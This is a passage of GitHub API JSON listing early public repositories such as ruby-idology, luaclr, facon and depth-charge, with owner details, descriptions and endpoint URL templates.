","comments_url":"https://api.github.com/repos/tekkub/tekkonfig/comments{/number}","issue_comment_url":"https://api.github.com/repos/tekkub/tekkonfig/issues/comments/{number}","contents_url":"https://api.github.com/repos/tekkub/tekkonfig/contents/{+path}","compare_url":"https://api.github.com/repos/tekkub/tekkonfig/compare/{base}...{head}","merges_url":"https://api.github.com/repos/tekkub/tekkonfig/merges","archive_url":"https://api.github.com/repos/tekkub/tekkonfig/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/tekkub/tekkonfig/downloads","issues_url":"https://api.github.com/repos/tekkub/tekkonfig/issues{/number}","pulls_url":"https://api.github.com/repos/tekkub/tekkonfig/pulls{/number}","milestones_url":"https://api.github.com/repos/tekkub/tekkonfig/milestones{/number}","notifications_url":"https://api.github.com/repos/tekkub/tekkonfig/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/tekkub/tekkonfig/labels{/name}"},{"id":1402,"name":"ruby-idology","full_name":"pdsphil/ruby-idology","owner":{"login":"pdsphil","id":268,"avatar_url":"https://1.gravatar.com/avatar/e0bd199c24c59f1666f3ce960c3309ee?d=https%3A%2F%2Fidenticons.github.com%2F8f121ce07d74717e0b1f21d122e04521.png","gravatar_id":"e0bd199c24c59f1666f3ce960c3309ee","url":"https://api.github.com/users/pdsphil","html_url":"https://github.com/pdsphil","followers_url":"https://api.github.com/users/pdsphil/followers","following_url":"https://api.github.com/users/pdsphil/following{/other_user}","gists_url":"https://api.github.com/users/pdsphil/gists{/gist_id}","starred_url":"https://api.github.com/users/pdsphil/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pdsphil/subscriptions","organizations_url":"https://api.github.com/users/pdsphil/orgs","repos_url":"https://api.github.com/users/pdsphil/repos","events_url":"https://api.github.com/users/pdsphil/events{/privacy}","received_events_url":"https://api.github.com/users/pdsphil/received_events","type":"User"},"private":false,"html_url":"https://github.com/pdsphil/ruby-idology","description":"Ruby interface to the IDology API","fork":false,"url":"https://api.github.com/repos/pdsphil/ruby-idology","forks_url":"https://api.github.com/repos/pdsphil/ruby-idology/forks","keys_url":"https://api.github.com/repos/pdsphil/ruby-idology/keys{/key_id}","collaborators_url":"https://api.github.com/repos/pdsphil/ruby-idology/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/pdsphil/ruby-idology/teams","hooks_url":"https://api.github.com/repos/pdsphil/ruby-idology/hooks","issue_events_url":"https://api.github.com/repos/pdsphil/ruby-idology/issues/events{/number}","events_url":"https://api.github.com/repos/pdsphil/ruby-idology/events","assignees_url":"https://api.github.com/repos/pdsphil/ruby-idology/assignees{/user}","branches_url":"https://api.github.com/repos/pdsphil/ruby-idology/branches{/branch}","tags_url":"https://api.github.com/repos/pdsphil/ruby-idology/tags","blobs_url":"https://api.github.com/repos/pdsphil/ruby-idology/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/pdsphil/ruby-idology/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/pdsphil/ruby-idology/git/refs{/sha}","trees_url":"https://api.github.com/repos/pdsphil/ruby-idology/git/trees{/sha}","statuses_url":"https://api.github.com/repos/pdsphil/ruby-idology/statuses/{sha}","languages_url":"https://api.github.com/repos/pdsphil/ruby-idology/languages","stargazers_url":"https://api.github.com/repos/pdsphil/ruby-idology/stargazers","contributors_url":"https://api.github.com/repos/pdsphil/ruby-idology/contributors","subscribers_url":"https://api.github.com/repos/pdsphil/ruby-idology/subscribers","subscription_url":"https://api.github.com/repos/pdsphil/ruby-idology/subscription","commits_url":"https://api.github.com/repos/pdsphil/ruby-idology/commits{/sha}","git_commits_url":"https://api.github.com/repos/pdsphil/ruby-idology/git/commits{/sha}","comments_url":"https://api.github.com/repos/pdsphil/ruby-idology/comments{/number}","issue_comment_url":"https://api.github.com/repos/pdsphil/ruby-idology/issues/comments/{number}","contents_url":"https://api.github.com/repos/pdsphil/ruby-idology/contents/{+path}","compare_url":"https://api.github.com/repos/pdsphil/ruby-idology/compare/{base}...{head}","merges_url":"https://api.github.com/repos/pdsphil/ruby-idology/merges","archive_url":"https://api.github.com/repos/pdsphil/ruby-idology/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/pdsphil/ruby-idology/downloads","issues_url":"https://api.github.com/repos/pdsphil/ruby-idology/issues{/number}","pulls_url":"https://api.github.com/repos/pdsphil/ruby-idology/pulls{/number}","milestones_url":"https://api.github.com/repos/pdsphil/ruby-idology/milestones{/number}","notifications_url":"https://api.github.com/repos/pdsphil/ruby-idology/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/pdsphil/ruby-idology/labels{/name}"},{"id":1408,"name":"luaclr","full_name":"mascarenhas/luaclr","owner":{"login":"mascarenhas","id":363,"avatar_url":"https://0.gravatar.com/avatar/f9757c8ee985d7343427b8bd1797ec2f?d=https%3A%2F%2Fidenticons.github.com%2F00411460f7c92d2124a67ea0f4cb5f85.png","gravatar_id":"f9757c8ee985d7343427b8bd1797ec2f","url":"https://api.github.com/users/mascarenhas","html_url":"https://github.com/mascarenhas","followers_url":"https://api.github.com/users/mascarenhas/followers","following_url":"https://api.github.com/users/mascarenhas/following{/other_user}","gists_url":"https://api.github.com/users/mascarenhas/gists{/gist_id}","starred_url":"https://api.github.com/users/mascarenhas/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mascarenhas/subscriptions","organizations_url":"https://api.github.com/users/mascarenhas/orgs","repos_url":"https://api.github.com/users/mascarenhas/repos","events_url":"https://api.github.com/users/mascarenhas/events{/privacy}","received_events_url":"https://api.github.com/users/mascarenhas/received_events","type":"User"},"private":false,"html_url":"https://github.com/mascarenhas/luaclr","description":"","fork":false,"url":"https://api.github.com/repos/mascarenhas/luaclr","forks_url":"https://api.github.com/repos/mascarenhas/luaclr/forks","keys_url":"https://api.github.com/repos/mascarenhas/luaclr/keys{/key_id}","collaborators_url":"https://api.github.com/repos/mascarenhas/luaclr/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/mascarenhas/luaclr/teams","hooks_url":"https://api.github.com/repos/mascarenhas/luaclr/hooks","issue_events_url":"https://api.github.com/repos/mascarenhas/luaclr/issues/events{/number}","events_url":"https://api.github.com/repos/mascarenhas/luaclr/events","assignees_url":"https://api.github.com/repos/mascarenhas/luaclr/assignees{/user}","branches_url":"https://api.github.com/repos/mascarenhas/luaclr/branches{/branch}","tags_url":"https://api.github.com/repos/mascarenhas/luaclr/tags","blobs_url":"https://api.github.com/repos/mascarenhas/luaclr/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/mascarenhas/luaclr/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/mascarenhas/luaclr/git/refs{/sha}","trees_url":"https://api.github.com/repos/mascarenhas/luaclr/git/trees{/sha}","statuses_url":"https://api.github.com/repos/mascarenhas/luaclr/statuses/{sha}","languages_url":"https://api.github.com/repos/mascarenhas/luaclr/languages","stargazers_url":"https://api.github.com/repos/mascarenhas/luaclr/stargazers","contributors_url":"https://api.github.com/repos/mascarenhas/luaclr/contributors","subscribers_url":"https://api.github.com/repos/mascarenhas/luaclr/subscribers","subscription_url":"https://api.github.com/repos/mascarenhas/luaclr/subscription","commits_url":"https://api.github.com/repos/mascarenhas/luaclr/commits{/sha}","git_commits_url":"https://api.github.com/repos/mascarenhas/luaclr/git/commits{/sha}","comments_url":"https://api.github.com/repos/mascarenhas/luaclr/comments{/number}","issue_comment_url":"https://api.github.com/repos/mascarenhas/luaclr/issues/comments/{number}","contents_url":"https://api.github.com/repos/mascarenhas/luaclr/contents/{+path}","compare_url":"https://api.github.com/repos/mascarenhas/luaclr/compare/{base}...{head}","merges_url":"https://api.github.com/repos/mascarenhas/luaclr/merges","archive_url":"https://api.github.com/repos/mascarenhas/luaclr/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/mascarenhas/luaclr/downloads","issues_url":"https://api.github.com/repos/mascarenhas/luaclr/issues{/number}","pulls_url":"https://api.github.com/repos/mascarenhas/luaclr/pulls{/number}","milestones_url":"https://api.github.com/repos/mascarenhas/luaclr/milestones{/number}","notifications_url":"https://api.github.com/repos/mascarenhas/luaclr/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/mascarenhas/luaclr/labels{/name}"},{"id":1411,"name":"bricklet-core","full_name":"jasonm/bricklet-core","owner":{"login":"jasonm","id":1031,"avatar_url":"https://2.gravatar.com/avatar/8478f9ebe099ad853f022deeb2c1defe?d=https%3A%2F%2Fidenticons.github.com%2Fafdec7005cc9f14302cd0474fd0f3c96.png","gravatar_id":"8478f9ebe099ad853f022deeb2c1defe","url":"https://api.github.com/users/jasonm","html_url":"https://github.com/jasonm","followers_url":"https://api.github.com/users/jasonm/followers","following_url":"https://api.github.com/users/jasonm/following{/other_user}","gists_url":"https://api.github.com/users/jasonm/gists{/gist_id}","starred_url":"https://api.github.com/users/jasonm/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jasonm/subscriptions","organizations_url":"https://api.github.com/users/jasonm/orgs","repos_url":"https://api.github.com/users/jasonm/repos","events_url":"https://api.github.com/users/jasonm/events{/privacy}","received_events_url":"https://api.github.com/users/jasonm/received_events","type":"User"},"private":false,"html_url":"https://github.com/jasonm/bricklet-core","description":"Core data server for BioBrick format","fork":false,"url":"https://api.github.com/repos/jasonm/bricklet-core","forks_url":"https://api.github.com/repos/jasonm/bricklet-core/forks","keys_url":"https://api.github.com/repos/jasonm/bricklet-core/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jasonm/bricklet-core/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jasonm/bricklet-core/teams","hooks_url":"https://api.github.com/repos/jasonm/bricklet-core/hooks","issue_events_url":"https://api.github.com/repos/jasonm/bricklet-core/issues/events{/number}","events_url":"https://api.github.com/repos/jasonm/bricklet-core/events","assignees_url":"https://api.github.com/repos/jasonm/bricklet-core/assignees{/user}","branches_url":"https://api.github.com/repos/jasonm/bricklet-core/branches{/branch}","tags_url":"https://api.github.com/repos/jasonm/bricklet-core/tags","blobs_url":"https://api.github.com/repos/jasonm/bricklet-core/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jasonm/bricklet-core/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jasonm/bricklet-core/git/refs{/sha}","trees_url":"https://api.github.com/repos/jasonm/bricklet-core/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jasonm/bricklet-core/statuses/{sha}","languages_url":"https://api.github.com/repos/jasonm/bricklet-core/languages","stargazers_url":"https://api.github.com/repos/jasonm/bricklet-core/stargazers","contributors_url":"https://api.github.com/repos/jasonm/bricklet-core/contributors","subscribers_url":"https://api.github.com/repos/jasonm/bricklet-core/subscribers","subscription_url":"https://api.github.com/repos/jasonm/bricklet-core/subscription","commits_url":"https://api.github.com/repos/jasonm/bricklet-core/commits{/sha}","git_commits_url":"https://api.github.com/repos/jasonm/bricklet-core/git/commits{/sha}","comments_url":"https://api.github.com/repos/jasonm/bricklet-core/comments{/number}","issue_comment_url":"https://api.github.com/repos/jasonm/bricklet-core/issues/comments/{number}","contents_url":"https://api.github.com/repos/jasonm/bricklet-core/contents/{+path}","compare_url":"https://api.github.com/repos/jasonm/bricklet-core/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jasonm/bricklet-core/merges","archive_url":"https://api.github.com/repos/jasonm/bricklet-core/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jasonm/bricklet-core/downloads","issues_url":"https://api.github.com/repos/jasonm/bricklet-core/issues{/number}","pulls_url":"https://api.github.com/repos/jasonm/bricklet-core/pulls{/number}","milestones_url":"https://api.github.com/repos/jasonm/bricklet-core/milestones{/number}","notifications_url":"https://api.github.com/repos/jasonm/bricklet-core/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jasonm/bricklet-core/labels{/name}"},{"id":1414,"name":"bookeater","full_name":"gensym/bookeater","owner":{"login":"gensym","id":899,"avatar_url":"https://0.gravatar.com/avatar/e63b603ed7ffcb6b5c65707abc30e303?d=https%3A%2F%2Fidenticons.github.com%2F01882513d5fa7c329e940dda99b12147.png","gravatar_id":"e63b603ed7ffcb6b5c65707abc30e303","url":"https://api.github.com/users/gensym","html_url":"https://github.com/gensym","followers_url":"https://api.github.com/users/gensym/followers","following_url":"https://api.github.com/users/gensym/following{/other_user}","gists_url":"https://api.github.com/users/gensym/gists{/gist_id}","starred_url":"https://api.github.com/users/gensym/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gensym/subscriptions","organizations_url":"https://api.github.com/users/gensym/orgs","repos_url":"https://api.github.com/users/gensym/repos","events_url":"https://api.github.com/users/gensym/events{/privacy}","received_events_url":"https://api.github.com/users/gensym/received_events","type":"User"},"private":false,"html_url":"https://github.com/gensym/bookeater","description":"BookEater.net","fork":false,"url":"https://api.github.com/repos/gensym/bookeater","forks_url":"https://api.github.com/repos/gensym/bookeater/forks","keys_url":"https://api.github.com/repos/gensym/bookeater/keys{/key_id}","collaborators_url":"https://api.github.com/repos/gensym/bookeater/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/gensym/bookeater/teams","hooks_url":"https://api.github.com/repos/gensym/bookeater/hooks","issue_events_url":"https://api.github.com/repos/gensym/bookeater/issues/events{/number}","events_url":"https://api.github.com/repos/gensym/bookeater/events","assignees_url":"https://api.github.com/repos/gensym/bookeater/assignees{/user}","branches_url":"https://api.github.com/repos/gensym/bookeater/branches{/branch}","tags_url":"https://api.github.com/repos/gensym/bookeater/tags","blobs_url":"https://api.github.com/repos/gensym/bookeater/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/gensym/bookeater/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/gensym/bookeater/git/refs{/sha}","trees_url":"https://api.github.com/repos/gensym/bookeater/git/trees{/sha}","statuses_url":"https://api.github.com/repos/gensym/bookeater/statuses/{sha}","languages_url":"https://api.github.com/repos/gensym/bookeater/languages","stargazers_url":"https://api.github.com/repos/gensym/bookeater/stargazers","contributors_url":"https://api.github.com/repos/gensym/bookeater/contributors","subscribers_url":"https://api.github.com/repos/gensym/bookeater/subscribers","subscription_url":"https://api.github.com/repos/gensym/bookeater/subscription","commits_url":"https://api.github.com/repos/gensym/bookeater/commits{/sha}","git_commits_url":"https://api.github.com/repos/gensym/bookeater/git/commits{/sha}","comments_url":"https://api.github.com/repos/gensym/bookeater/comments{/number}","issue_comment_url":"https://api.github.com/repos/gensym/bookeater/issues/comments/{number}","contents_url":"https://api.github.com/repos/gensym/bookeater/contents/{+path}","compare_url":"https://api.github.com/repos/gensym/bookeater/compare/{base}...{head}","merges_url":"https://api.github.com/repos/gensym/bookeater/merges","archive_url":"https://api.github.com/repos/gensym/bookeater/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/gensym/bookeater/downloads","issues_url":"https://api.github.com/repos/gensym/bookeater/issues{/number}","pulls_url":"https://api.github.com/repos/gensym/bookeater/pulls{/number}","milestones_url":"https://api.github.com/repos/gensym/bookeater/milestones{/number}","notifications_url":"https://api.github.com/repos/gensym/bookeater/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/gensym/bookeater/labels{/name}"},{"id":1425,"name":"facon","full_name":"chuyeow/facon","owner":{"login":"chuyeow","id":213,"avatar_url":"https://2.gravatar.com/avatar/00fd4ce27c06ba63e7ddca4c3d67e5ea?d=https%3A%2F%2Fidenticons.github.com%2F979d472a84804b9f647bc185a877a8b5.png","gravatar_id":"00fd4ce27c06ba63e7ddca4c3d67e5ea","url":"https://api.github.com/users/chuyeow","html_url":"https://github.com/chuyeow","followers_url":"https://api.github.com/users/chuyeow/followers","following_url":"https://api.github.com/users/chuyeow/following{/other_user}","gists_url":"https://api.github.com/users/chuyeow/gists{/gist_id}","starred_url":"https://api.github.com/users/chuyeow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/chuyeow/subscriptions","organizations_url":"https://api.github.com/users/chuyeow/orgs","repos_url":"https://api.github.com/users/chuyeow/repos","events_url":"https://api.github.com/users/chuyeow/events{/privacy}","received_events_url":"https://api.github.com/users/chuyeow/received_events","type":"User"},"private":false,"html_url":"https://github.com/chuyeow/facon","description":"Facon is a mocking library in the spirit of the Bacon spec library. Small, compact, and works with Bacon.","fork":false,"url":"https://api.github.com/repos/chuyeow/facon","forks_url":"https://api.github.com/repos/chuyeow/facon/forks","keys_url":"https://api.github.com/repos/chuyeow/facon/keys{/key_id}","collaborators_url":"https://api.github.com/repos/chuyeow/facon/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/chuyeow/facon/teams","hooks_url":"https://api.github.com/repos/chuyeow/facon/hooks","issue_events_url":"https://api.github.com/repos/chuyeow/facon/issues/events{/number}","events_url":"https://api.github.com/repos/chuyeow/facon/events","assignees_url":"https://api.github.com/repos/chuyeow/facon/assignees{/user}","branches_url":"https://api.github.com/repos/chuyeow/facon/branches{/branch}","tags_url":"https://api.github.com/repos/chuyeow/facon/tags","blobs_url":"https://api.github.com/repos/chuyeow/facon/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/chuyeow/facon/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/chuyeow/facon/git/refs{/sha}","trees_url":"https://api.github.com/repos/chuyeow/facon/git/trees{/sha}","statuses_url":"https://api.github.com/repos/chuyeow/facon/statuses/{sha}","languages_url":"https://api.github.com/repos/chuyeow/facon/languages","stargazers_url":"https://api.github.com/repos/chuyeow/facon/stargazers","contributors_url":"https://api.github.com/repos/chuyeow/facon/contributors","subscribers_url":"https://api.github.com/repos/chuyeow/facon/subscribers","subscription_url":"https://api.github.com/repos/chuyeow/facon/subscription","commits_url":"https://api.github.com/repos/chuyeow/facon/commits{/sha}","git_commits_url":"https://api.github.com/repos/chuyeow/facon/git/commits{/sha}","comments_url":"https://api.github.com/repos/chuyeow/facon/comments{/number}","issue_comment_url":"https://api.github.com/repos/chuyeow/facon/issues/comments/{number}","contents_url":"https://api.github.com/repos/chuyeow/facon/contents/{+path}","compare_url":"https://api.github.com/repos/chuyeow/facon/compare/{base}...{head}","merges_url":"https://api.github.com/repos/chuyeow/facon/merges","archive_url":"https://api.github.com/repos/chuyeow/facon/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/chuyeow/facon/downloads","issues_url":"https://api.github.com/repos/chuyeow/facon/issues{/number}","pulls_url":"https://api.github.com/repos/chuyeow/facon/pulls{/number}","milestones_url":"https://api.github.com/repos/chuyeow/facon/milestones{/number}","notifications_url":"https://api.github.com/repos/chuyeow/facon/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/chuyeow/facon/labels{/name}"},{"id":1429,"name":"stat","full_name":"vanpelt/stat","owner":{"login":"vanpelt","id":17,"avatar_url":"https://1.gravatar.com/avatar/1da36d4c1f34454de6c07855098675f6?d=https%3A%2F%2Fidenticons.github.com%2F70efdf2ec9b086079795c442636b55fb.png","gravatar_id":"1da36d4c1f34454de6c07855098675f6","url":"https://api.github.com/users/vanpelt","html_url":"https://github.com/vanpelt","followers_url":"https://api.github.com/users/vanpelt/followers","following_url":"https://api.github.com/users/vanpelt/following{/other_user}","gists_url":"https://api.github.com/users/vanpelt/gists{/gist_id}","starred_url":"https://api.github.com/users/vanpelt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vanpelt/subscriptions","organizations_url":"https://api.github.com/users/vanpelt/orgs","repos_url":"https://api.github.com/users/vanpelt/repos","events_url":"https://api.github.com/users/vanpelt/events{/privacy}","received_events_url":"https://api.github.com/users/vanpelt/received_events","type":"User"},"private":false,"html_url":"https://github.com/vanpelt/stat","description":"A Rakefile that makes static website creation and deploying stupid simple","fork":false,"url":"https://api.github.com/repos/vanpelt/stat","forks_url":"https://api.github.com/repos/vanpelt/stat/forks","keys_url":"https://api.github.com/repos/vanpelt/stat/keys{/key_id}","collaborators_url":"https://api.github.com/repos/vanpelt/stat/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/vanpelt/stat/teams","hooks_url":"https://api.github.com/repos/vanpelt/stat/hooks","issue_events_url":"https://api.github.com/repos/vanpelt/stat/issues/events{/number}","events_url":"https://api.github.com/repos/vanpelt/stat/events","assignees_url":"https://api.github.com/repos/vanpelt/stat/assignees{/user}","branches_url":"https://api.github.com/repos/vanpelt/stat/branches{/branch}","tags_url":"https://api.github.com/repos/vanpelt/stat/tags","blobs_url":"https://api.github.com/repos/vanpelt/stat/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/vanpelt/stat/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/vanpelt/stat/git/refs{/sha}","trees_url":"https://api.github.com/repos/vanpelt/stat/git/trees{/sha}","statuses_url":"https://api.github.com/repos/vanpelt/stat/statuses/{sha}","languages_url":"https://api.github.com/repos/vanpelt/stat/languages","stargazers_url":"https://api.github.com/repos/vanpelt/stat/stargazers","contributors_url":"https://api.github.com/repos/vanpelt/stat/contributors","subscribers_url":"https://api.github.com/repos/vanpelt/stat/subscribers","subscription_url":"https://api.github.com/repos/vanpelt/stat/subscription","commits_url":"https://api.github.com/repos/vanpelt/stat/commits{/sha}","git_commits_url":"https://api.github.com/repos/vanpelt/stat/git/commits{/sha}","comments_url":"https://api.github.com/repos/vanpelt/stat/comments{/number}","issue_comment_url":"https://api.github.com/repos/vanpelt/stat/issues/comments/{number}","contents_url":"https://api.github.com/repos/vanpelt/stat/contents/{+path}","compare_url":"https://api.github.com/repos/vanpelt/stat/compare/{base}...{head}","merges_url":"https://api.github.com/repos/vanpelt/stat/merges","archive_url":"https://api.github.com/repos/vanpelt/stat/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/vanpelt/stat/downloads","issues_url":"https://api.github.com/repos/vanpelt/stat/issues{/number}","pulls_url":"https://api.github.com/repos/vanpelt/stat/pulls{/number}","milestones_url":"https://api.github.com/repos/vanpelt/stat/milestones{/number}","notifications_url":"https://api.github.com/repos/vanpelt/stat/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/vanpelt/stat/labels{/name}"},{"id":1435,"name":"rubynomic","full_name":"Norgg/rubynomic","owner":{"login":"Norgg","id":913,"avatar_url":"https://0.gravatar.com/avatar/f041ccf24524caf8d010097770b5eeae?d=https%3A%2F%2Fidenticons.github.com%2F8b5040a8a5baf3e0e67386c2e3a9b903.png","gravatar_id":"f041ccf24524caf8d010097770b5eeae","url":"https://api.github.com/users/Norgg","html_url":"https://github.com/Norgg","followers_url":"https://api.github.com/users/Norgg/followers","following_url":"https://api.github.com/users/Norgg/following{/other_user}","gists_url":"https://api.github.com/users/Norgg/gists{/gist_id}","starred_url":"https://api.github.com/users/Norgg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Norgg/subscriptions","organizations_url":"https://api.github.com/users/Norgg/orgs","repos_url":"https://api.github.com/users/Norgg/repos","events_url":"https://api.github.com/users/Norgg/events{/privacy}","received_events_url":"https://api.github.com/users/Norgg/received_events","type":"User"},"private":false,"html_url":"https://github.com/Norgg/rubynomic","description":"Initial source code for ruby nomic games","fork":false,"url":"https://api.github.com/repos/Norgg/rubynomic","forks_url":"https://api.github.com/repos/Norgg/rubynomic/forks","keys_url":"https://api.github.com/repos/Norgg/rubynomic/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Norgg/rubynomic/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Norgg/rubynomic/teams","hooks_url":"https://api.github.com/repos/Norgg/rubynomic/hooks","issue_events_url":"https://api.github.com/repos/Norgg/rubynomic/issues/events{/number}","events_url":"https://api.github.com/repos/Norgg/rubynomic/events","assignees_url":"https://api.github.com/repos/Norgg/rubynomic/assignees{/user}","branches_url":"https://api.github.com/repos/Norgg/rubynomic/branches{/branch}","tags_url":"https://api.github.com/repos/Norgg/rubynomic/tags","blobs_url":"https://api.github.com/repos/Norgg/rubynomic/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Norgg/rubynomic/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Norgg/rubynomic/git/refs{/sha}","trees_url":"https://api.github.com/repos/Norgg/rubynomic/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Norgg/rubynomic/statuses/{sha}","languages_url":"https://api.github.com/repos/Norgg/rubynomic/languages","stargazers_url":"https://api.github.com/repos/Norgg/rubynomic/stargazers","contributors_url":"https://api.github.com/repos/Norgg/rubynomic/contributors","subscribers_url":"https://api.github.com/repos/Norgg/rubynomic/subscribers","subscription_url":"https://api.github.com/repos/Norgg/rubynomic/subscription","commits_url":"https://api.github.com/repos/Norgg/rubynomic/commits{/sha}","git_commits_url":"https://api.github.com/repos/Norgg/rubynomic/git/commits{/sha}","comments_url":"https://api.github.com/repos/Norgg/rubynomic/comments{/number}","issue_comment_url":"https://api.github.com/repos/Norgg/rubynomic/issues/comments/{number}","contents_url":"https://api.github.com/repos/Norgg/rubynomic/contents/{+path}","compare_url":"https://api.github.com/repos/Norgg/rubynomic/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Norgg/rubynomic/merges","archive_url":"https://api.github.com/repos/Norgg/rubynomic/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Norgg/rubynomic/downloads","issues_url":"https://api.github.com/repos/Norgg/rubynomic/issues{/number}","pulls_url":"https://api.github.com/repos/Norgg/rubynomic/pulls{/number}","milestones_url":"https://api.github.com/repos/Norgg/rubynomic/milestones{/number}","notifications_url":"https://api.github.com/repos/Norgg/rubynomic/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Norgg/rubynomic/labels{/name}"},{"id":1436,"name":"depth-charge","full_name":"bscofield/depth-charge","owner":{"login":"bscofield","id":433,"avatar_url":"https://1.gravatar.com/avatar/01604be00b0c8371437cbc2b96265b9b?d=https%3A%2F%2Fidenticons.github.com%2F019d385eb67632a7e958e23f24bd07d7.png","gravatar_id":"01604be00b0c8371437cbc2b96265b9b","url":"https://api.github.com/users/bscofield","html_url":"https://github.com/bscofield","followers_url":"https://api.github.com/users/bscofield/followers","following_url":"https://api.github.com/users/bscofield/following{/other_user}","gists_url":"https://api.github.com/users/bscofield/gists{/gist_id}","starred_url":"https://api.github.com/users/bscofield/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bscofield/subscriptions","organizations_url":"https://api.github.com/users/bscofield/orgs","repos_url":"https://api.github.com/users/bscofield/repos","events_url":"https://api.github.com/users/bscofield/events{/privacy}","received_events_url":"https://api.github.com/users/bscofield/received_events","type":"User"},"private":false,"html_url":"https://github.com/bscofield/depth-charge","description":"A quick and dirty dependency finder for your Ruby projects","fork":false,"url":"https://api.github.com/repos/bscofield/depth-charge","forks_url":"https://api.github.com/repos/bscofield/depth-charge/forks","keys_url":"https://api.github.com/repos/bscofield/depth-charge/keys{/key_id}","collaborators_url":"https://api.github.com/repos/bscofield/depth-charge/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/bscofield/depth-charge/teams","hooks_url":"https://api.github.com/repos/bscofield/depth-charge/hooks","issue_events_url":"https://api.github.com/repos/bscofield/depth-charge/issues/events{/number}","events_url":"https://api.github.com/repos/bscofield/depth-charge/events","assignees_url":"https://api.github.com/repos/bscofield/depth-charge/assignees{/user}","branches_url":"https://api.github.com/repos/bscofield/depth-charge/branches{/branch}","tags_url":"https://api.github.com/repos/bscofield/depth-charge/tags","blobs_url":"https://api.github.com/repos/bscofield/depth-charge/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/bscofield/depth-charge/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/bscofield/depth-charge/git/refs{/sha}","trees_url":"https://api.github.com/repos/bscofield/depth-charge/git/trees{/sha}","statuses_url":"https://api.github.com/repos/bscofield/depth-charge/statuses/{sha}","languages_url":"https://api.github.com/repos/bscofield/depth-charge/languages","stargazers_url":"https://api.github.com/repos/bscofield/depth-charge/stargazers","contributors_url":"https://api.github.com/repos/bscofield/depth-charge/contributors","subscribers_url":"https://api.github.com/repos/bscofield/depth-charge/subscribers","subscription_url":"https://api.github.com/repos/bscofield/depth-charge/subscription","commits_url":"https://api.github.com/repos/bscofield/depth-charge/commits{/sha}","git_commits_url":"https://api.github.com/repos/bscofield/depth-charge/git/commits{/sha}","comments_url":"https://api.github.com/repos/bscofield/depth-charge/comments{/number}","issue_comment_url":"https://api.github.com/repos/bscofield/depth-charge/issues/comments/{number}","contents_url":"https://api.github.com/repos/bscofield/depth-charge/contents/{+path}","compare_url":"https://api.github.com/repos/bscofield/depth-charge/compare/{base}...{head}","merges_url":"https://api.github.com/repos/bscofield/depth-charge/merges","archive_url":"https://api.github.com/repos/bscofield/depth-charge/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/bscofield/depth-charge/downloads","issues_url":"https://api.github.com/repos/bscofield/depth-charge/issues{/number}","pulls_url":"https://api.github.com/repos/bscofield/depth-charge/pulls{/number}","milestones_url":"https://api.github.com/repos/bscofield/depth-charge/milestones{/number}","notifications_url":"https://api.github.com/repos/bscofield/depth-charge/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/bscofield/depth-charge/labels{/name}"},{"id":1440,"name":"portfolio","full_name":"myabc/portfolio","owner":{"login":"myabc","id":755,"avatar_url":"https://0.gravatar.com/avatar/9b1a71682de14fc6fc2b944a9c4814a0?d=https%3A%2F%2Fidenticons.github.com%2Fccb0989662211f61edae2e26d58ea92f.png","gravatar_id":"9b1a71682de14fc6fc2b944a9c4814a0","url":"https://api.github.com/users/myabc","html_url":"https://github.com/myabc","followers_url":"https://api.github.com/users/myabc/followers","following_url":"https://api.github.com/users/myabc/following{/other_user}","gists_url":"https://api.github.com/users/myabc/gists{/gist_id}","starred_url":"https://api.github.com/users/myabc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/myabc/subscriptions","organizations_url":"https://api.github.com/users/myabc/orgs","repos_url":"https://api.github.com/users/myabc/repos","events_url":"https://api.github.com/users/myabc/events{/privacy